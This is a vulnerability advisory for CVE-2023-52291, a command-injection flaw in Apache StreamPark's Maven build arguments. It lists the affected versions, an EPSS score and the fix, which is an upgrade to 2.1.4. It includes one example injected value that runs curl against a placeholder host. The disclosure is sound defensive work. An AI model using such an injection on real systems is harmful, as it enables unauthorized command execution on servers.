CVE-2023-52291 Apache StreamPark (incubating): Unchecked maven build params could trigger remote command execution

2024-07-1708:16:12

CWE-77

apache

www.cve.org

apache streampark

unchecked maven build

remote command execution

input parameter validation

system-level permissions

command injection

mitigation

vulnerability

EPSS

0.005

Percentile

76.8%

JSON

In streampark, the project module integrates Maven’s compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Background:

In the “Project” module, the maven build args “<” operator causes command injection. e.g : “< (curl http://xxx.com )” will be executed as a command injection,

Mitigation:

all users should upgrade to 2.1.4, The “<” operator will blocked。

CNA Affected

[
  {
    "defaultStatus": "unaffected",
    "product": "Apache StreamPark (incubating)",
    "vendor": "Apache Software Foundation",
    "versions": [
      {
        "lessThan": "2.1.4",
        "status": "affected",
        "version": "2.0.0",
        "versionType": "semver"
      }
    ]
  }
]